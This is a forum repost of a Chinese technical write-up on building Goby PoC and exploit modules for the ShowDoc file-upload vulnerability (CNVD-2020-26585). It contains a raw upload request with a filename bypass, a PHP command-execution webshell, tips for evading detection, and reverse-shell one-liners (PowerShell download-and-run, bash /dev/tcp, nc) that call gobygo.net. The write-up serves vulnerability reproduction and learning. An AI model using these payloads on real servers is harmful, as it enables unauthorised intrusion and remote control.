安全矩阵

 找回密码
 立即注册
搜索
查看: 3271|回复: 0

技术分享 | 记一次不停自我追问的学习(上)—— 漫漫PoC...

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-2 14:13:50 | 显示全部楼层 |阅读模式
原文链接:技术分享 | 记一次不停自我追问的学习(上)—— 漫漫PoC之路

前言:
上篇>>一个文件上传 1day 的 PoC 编写,从简单的 GUI 编写,不满足于是选择用 Go 语言编写,再到逐个使用 Goby 自带 API 优化 PoC,最终实现一键反弹 shell。不仅学习了 Go,也对 EXP 进一步的完善。
下篇>>代码审计,从一个为什么产生出发,不断地问自己问题,虽然是一次简单的代审,延伸出一次溯源,最后的收获远不止一次代码审计,而是学习方法!
01
准备工作
1.1 漏洞速览
漏洞描述:Showdoc 存在文件上传漏洞,攻击者可以利用漏洞获取服务器权限。
漏洞影响:ShowDoc < V2.8.3
漏洞参考:https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585
1.2 环境搭建
系统:Windows10
工具:PHPStudy2016,VScode,Goby,Burp
环境:showdoc-V2.6.7  https://github.com/star7th/showdoc
1.3 PoC
  1. POST /index.php?s=/home/page/uploadImg HTTP/1.1
  2. Host: 127.0.0.1:81
  3. Content-Type: multipart/form-data; boundary=---------------------------346031065719027724703329952952
  4. Content-Length: 252
  5. Connection: close

  6. -----------------------------346031065719027724703329952952
  7. Content-Disposition: form-data; name="editormd-image-file"; filename="1.<>php"
  8. Content-Type: text/plain

  9. <?php phpinfo();?>
  10. -----------------------------346031065719027724703329952952--
复制代码


1.4 复现

02
利用 Goby 的 GUI 编写 PoC&EXP
2.1 编写 PoC
2.1.1 填入基本内容可以手动输入,但是由于该漏洞有 CNVD 编号,于是考虑从命令行导入
  1. //在goby的golib目录下的goby-cmd文件,也可以-h解锁更多操作
  2. goby-cmd -mode genpoc -CNVDID CNVD-2020-26585 -exportFile exploits\user\CNVD-export.go
  3. //导出文件在goby的\golib\exploits\user目录下
复制代码

已知 BUG:
  •         通过命令行导出的文件需要手动加上指纹:"GobyQuery": "app=\"showDoc\"",才可以导入进 Goby,不然导入不进去,会报错(在 log 中可以看到报错信息)
  •         通过命令行导出的文件导入 PoC 时,测试界面会出现白屏 bug,因为 ScanSteps 中缺少 "SetVariable": [] 字段,添加即可。

不想拘泥于手动,虽然导入遇到了不少的麻烦,但是总归是需要尝试的,相信后续 Goby 团队会改进的。
2.1.2 发出请求简单的将 PoC 内容复制粘贴进对应字段即可

2.1.3 验证响应参考 Goby《PoC writing suggestions》https://github.com/gobysec/Goby/wiki/PoC-writing-suggestions 中的准确性:增加检测关键字、特殊符号、响应包中独一无二的特征,以提高其准确性。

2.1.4 编写 PoC 的 Tips
  •         修改 PoC 之后记得保存后,再进行单 IP 测试
  •         由于 Goby 可能因为缓存等机制,导致修改 PoC 并保存之后,即使发包也是未修改之前的包,需要返回漏洞管理界面再重新载入 PoC
  •         由于上述载入载出步骤较为麻烦,我采用 Goby 脚手架的方式,在 VSCode 修改代码的同时在 CMD 中测试:goby-cmd -mode runpoc -operation scan -pocFile exploits\user\a.go -target 127.0.0.1
           
            Goby 脚手架可参考:https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
           
  •         脚手架的方式不支持 burp 代理调试。如果需要对 PoC 进行代理调试的话,推荐依然使用 GUI 的方法,详见 @HuaiNian 师傅的《Json 编写 PoC&EXP 遇到的那些坑》

2.2 编写 EXP总体思路同上 PoC 的问题,只不过将上传的验证性文件切换为一句话、菜刀等类型木马文件,然后在浏览器中访问对应连接即可。
仔细查看官方文档的 EXP 部分 ,实际操作步骤如下:
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide#exp-%E7%BC%96%E5%86%99
  •         将HasExp字段设置为 true
  •         在 PoC 界面编写 EXP 后,在编辑器中将ScanSteps对应代码复制粘贴到ExploitSteps
  •         上传文件内容更改为冰蝎马
  •         直接将返回的链接扔到冰蝎里面链接即可。上传一句话木马同理

已知问题:
  •         Goby GUI 目前暂不支持 EXP 用 GUI 编写,借用 PoC 界面编写后,在编辑器中将ScanSteps对应代码复制粘贴到ExploitSteps
  •         抓包问题:pcap 模式扫描 127.0.0.1 无 IP 存活,但是 socket 模式下可以扫 127.0.0.1


2.3 进一步优化 POC&EXP2.2.1 自动删除上传文件在公网测试的时候,发现一个很不好的现象:某站点上存在大量这类一句话木马。

参考 Goby《PoC writing suggestions》: https://github.com/gobysec/Goby/wiki/PoC-writing-suggestions 的无害性:我们需要将上传的文件进行删除。虽然第一次第二次很麻烦,但是优秀是需要形成习惯的。
问题:
  •         如何删除上传文件?PHP 中可以利用unlink()函数来删除文件
  •         如何触发unlink()函数?连续发出两次请求。第一次请求用于上传文件,第二次请求用于触发unlink()函数删除文件
  •         如何获取第二次请求的链接?第一次的返回包中有返回绝对路径,且 Goby 可以基于正则提取第一次请求的响应,并在第二次利用。
           
            详见 Goby《POC编写指南之JSON 录入漏洞逻辑手册》:https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
           
  •         如何编写正则?先百度正则语法,再用regex101平台进行测试
  •         如何去掉链接/\这些符号?化繁为简,分析文件路径组成:Hostinfo+Public/Uploads+日期+随机文件名,后两个变量分两次正则提取,然后整体拼接即可

问题解决了,步骤自然清晰:
  •         在上传的文件末尾增加unlink()函数
  •         在第一次请求的正则部分增加自定义变量date和file
  •         在 Goby 中添加第二次请求的 URL 中使用这两个变量/Public/Uploads/{{{date}}}/{{{file}}}
  •         如果第二次响应为200即可算作成功


2.2.2 提高 PoC 的准确性问题:既然可以发出第二次请求,不仅可以触发unlink()函数,是否可以考虑增加一些echo操作进一步提高 PoC 的准确性?
思路:在 php 文件中 echo 一段随机数,然后第二次请求在响应判断的时候,不仅只是判断响应为 200,也匹配是否这段随机数?
问题解决了,步骤自然清晰。虽然第一次返回匹配到success等字段即可验证 PoC 成功,第二步 echo 再一下有些多余,但是我想以后某个地方会用的,先学着。
已知问题:由于目前 Goby GUI 并不支持随机数,所以只能手动输入一个固定数然后进行判断。(Goby 团队后续会在 GUI 中增加随机数选项)
2.2.3 优化一句话木马新需求:上传冰蝎类的马简单,上传一句话木马类似,但是之前的方式需要在浏览器或冰蝎中打开链接进行操作,有些繁琐。针对一句话木马如果只想在 GobyGUI 中操作,不需要新打开浏览器中转,肯定更优雅更简洁,那么如何操作?
需求拆解:实现动态一句话木马:① 在木马文件中动态插入一句话命令; ② 触发木马文件并获取返回值
问题:
  •         如何在上传文件中动态插入参数?查看文档后发现:Goby 提供ExpParams字段来让用户自定义所需传递参数,且和自定义参数逻辑一样,{{{}}}包裹即可在json任意位置使用该变量,比如<?php system("{{{cmd}}}");unlink(); ?>,即可实现一句话木马的操作
  •         如何触发木马并返回值?和前面类似,发送二次请求即可

Trick:
  •         Goby 发包逻辑是每次先 POC 后 EXP,更改 EXP 后又要重新走一遍扫描流程,很麻烦,有其他直接验证 EXP 的操作吗?Goby-cmd.exe 脚手架中不仅提供 scan 操作,也提供 exploit 操作,且 exploit 操作支持-params '{"cmd":"whoami"}'参数。
  •         输入命令goby-cmd -mode runpoc -operation exploit -pocFile exploits\user\a.go -target 127.0.0.1 -params "{\"cmd\":\"whoami\"}"即可直接验证EXP。
  •         在 cmd 模式下验证 EXP 无误,切换到 GUI 界面进行扫描,EXP 验证成功!

已知 BUG:
  •         发包 BUG:在 json 编写 EXP 需要连续发两个包的情况下,即使内容编写正确的情况下依然可能会检测失败。需要在 ExploitSteps 的第一个请求的SetVariable键中额外加入"output|lastbody"值,才会成功执行第二个请求,进而检测成功。(前面《自动删除上传文件》部分用的仅仅只有 PoC,没用到 EXP 这一步,所以未产生 BUG)
  •         系统差异 BUG:windows 下 cmd中使用-params '{"cmd":"whoami"}' 参数会报错invalid character '\'' looking for beginning of value ,改为"{\"cmd\":\"whoami\"}"即可



03
学习用 Go 语言编写 Goby 的 PoC
3.1 迈出第一步:用 GO 编写 PoC使用 GUI 时遇到的痛点
  •         部分功能缺失:无法使用随机数
  •         缺少 DIY 需求:对于返回的\/Public\/Uploads\/2021-06-24\/这类链接无法直接使用,需要手动剔除转移符号
  •         黑盒的未知性:单纯看 json 并不能掌控 PoC 后续是怎么被载入和利用的,没有 Go 代码看起来的直观可控
  •         BUG:不少 bug 是因为 json 中缺少某个键值,但是判断又很难判断,而 Go 代码更加可控。

困难:
  •         上述 Poc 难吗?不难,不过是发出请求罢了。
  •         不会 Go 语言怎么办?只是发出一个请求罢了,官方也提供了 code demo,只需要改下 URI 即可完成轮子搭建。
           
            详见 Goby《Vulnerability-writing-guide》之golang-代码录入漏洞手册https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
           

虽然我不会 Go,但是因为上面的痛点,还是想迈出那第一步。
思路:
  •         化繁为简:先写 PoC,PoC 写好了,EXP 自然写好了。
  •         根据官方的demo,改下POC中的Uri,改下匹配的关键字
  •         测试即可

具体不表,造轮子而已。
3.2 进一步:优化 PoC3.2.1 用 Go 语言实现高级需求刚才只是简单的 request,需要完成更高的需求,比如前面对POC的优化
问题:
  •         Go 如何实现两次请求达到删除的效果?把发出请求的代码 Copy 一次,if 第一次成功,发出第二次请求,if 第二次请求成功,return true。
  •         Go 如何使用正则?仔细看官方文档《漏洞编写指南》 ,发现其使用了regexp.MustCompile() ,百度搜用法,先新建 regex.go 文件本地测试,熟悉用法后写入 PoC 测试
  •         Go 如何拼接变量?仔细看官方文档《漏洞编写指南》 ,发现其使用了fmt.Sprintf("%s",var) ,百度搜用法,先新建fmt.go文件本地测试,熟悉用法后写入POC测试
  •         Go 如何实现随机数?因为前面 GUI 编写只能固定数,存在被检测特征,仔细看官方文档《漏洞编写指南》 ,发现其使用RandomHexString()生成随机字符串,将固定数替换为随机数变量即可
  •         Go 能否将冰蝎上传后返回链接自动优化,而不是手动删除转义符号?既然我们可以通过拼接date和file 形成第二次请求的链接,那么我们也可以冰蝎的输出的内容改为这个链接:expResult.Output =fmt.Sprintf("%s/Public/Uploads/%s/%s", expResult.HostInfo, date[1], file[1])
  •         Go 能否进一步减少 PoC 特征?前面提及不少网上木马的 key 为peiqi ,此处也可以利用RandomHexString()的方式随机生成 key,然后在第二次使用后删除该文件,实现一次一密的效果。当然boundary=-------xxxxx字段也可以通过RandomHexString()来实现随机性。
           
            《漏洞编写指南》:https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
           

一步步的查看文档、测试,发现 Go 语言编写 PoC&EXP 时,内容和行为更可控,也能实现更多自定义需求,需要的 Go 语言基础也不高,个人觉得比目前 GUI 的 Json 编写更加方便。(也相信后续 Goby 团队会改进 GUI 并实现这些需求)
3.2.2 执行一句话命令Goby 红队版本就是执行一句话回显命令,问题:
  •         Goby 如何自定义参数?前面已经介绍了,在 json 中的ExpParams字段来让用户自定义所需传递参数
  •         Go 中如何获取到自定义参数?查看文档发现,可以使用ss.Params["cmd"].(string)的形式获取参数
  •         Go 中如何将自定义参数输入到 payload 中?利用前面提及的fmt.Sprintf("%s",var)方式

3.2.3 更进一步:直接反弹 shell想法:既然可以一句话木马,而大部分时间我们生成一句话木马之后第二步就是反弹 shell,那么为什么第二次不直接执行反弹 shell,难道不比执行一句话命令好?
问题:
  •         如何实现(思路上)?将一句话木马的 paylod 部分由自定义参数命令的方式直接改为反弹shell的命令
  •         如何实现(实际操作)?查看 Goby 提供反弹 shell 的 demo 文档,然后魔改为自己需要的即可
           
            https://github.com/gobysec/Goby/ ... F%8D%E5%BC%B9-shell
           
  •         为什么可以反弹 shell,但是所上传文件无法自动删除,unlink()函数没触发?因为先执行命令再执行unlink()函数,而前者shell在反弹过程中堵塞的进程,百度后发现可采取 popen() 启动子进程的方式。(有趣的是,通过该文档,我了解到可以通过php_uname()来判断服务器主机系统,进而根据不同系统动态生成 payload 的操作)(GobyShell 只有 10 分钟存活,也可以保证不会长期驻留服务器进程)

和 @go0p 师傅交流之后,我发现我的想法是错的:我急于直接看到反弹 shell 的效果,只是因为我的测试环境允许。在实战情况下,目标可能不出网,Godserver 服务器可能有一定的问题等等导致反弹 shell。不一定在所有环境下都是 OK 的,所以应该是目标能使用回显就回显,其次才是其他验证方式。
参考《GobyPOC编写建议之其他建议》:https://github.com/gobysec/Goby/ ... 6%E5%BB%BA%E8%AE%AE
  1. //Goby生成的godserver相关命令
  2. //ReverseTCPByPowershell
  3. powershell IEX (New-Object Net.WebClient).DownloadString('http://gobygo.net/ps/rs.ps1');rs -H gobygo.net -P 35355
  4. //ReverseTCPByBash
  5. bash -i >& /dev/tcp/gobygo.net/35355 0>&1
  6. //ReverseTCPByNcBsd
  7. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc gobygo.net 35355 >/tmp/f
  8. //ReverseTCPBySh
  9. 0<&1-;exec 1<>/dev/tcp/gobygo.net/35355;sh -i <&1 >&1 2>&1
复制代码



3.3 最终效果代码放在仓库:https://github.com/corp0ra1/showDocDemo
3.4 发散思维上述操作基本把 Goby 提供的功能基本都尝试了个遍,就剩下个 DNSLOG 也尝试一下?比如第二次请求之后不通过返回值判断而是根据 DNSLOG 的结果?
04
更进一步-代码审计
上述操作只是完成了漏洞的复现,以及 PoC&EXP 的编写,但是心中还是有疑问
  •         为什么文件名中里面有.<>php的畸形后缀就可以绕过?
  •         为什么我尝试.<php的后缀绕过方式不行?
  •         为什么有这种神奇的绕过方法?
  •         什么原因导致的?

十万个为什么,最终促使了我进行代码审计!
代码审计很简单,但是还有更有趣的溯源过程,详见下篇


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:45 , Processed in 0.014587 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表